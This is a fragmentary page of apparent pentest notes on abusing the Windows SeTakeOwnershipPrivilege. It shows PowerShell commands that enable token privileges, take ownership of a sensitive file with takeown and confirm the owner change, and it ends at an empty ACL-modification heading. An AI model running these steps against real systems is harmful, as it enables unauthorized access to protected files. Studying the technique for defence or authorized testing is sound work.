SeTakeOwnershipPrivilege
ABOUT
Enable Privilege
PS C:\> Import-Module .\Enable-Privilege.ps1
PS C:\> .\EnableAllTokenPrivs.ps1Accessing sensible file
Checking directory ownership
PS C:\> cmd /c dir /q 'C:\Share'Taking ownership
PS C:\> takeown /f 'C:\Shares\file.txt'Confirming Ownership Changed
PS C:\> Get-ChildItem -Path 'C:\Share\file.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}Modifying File's ACL
Last updated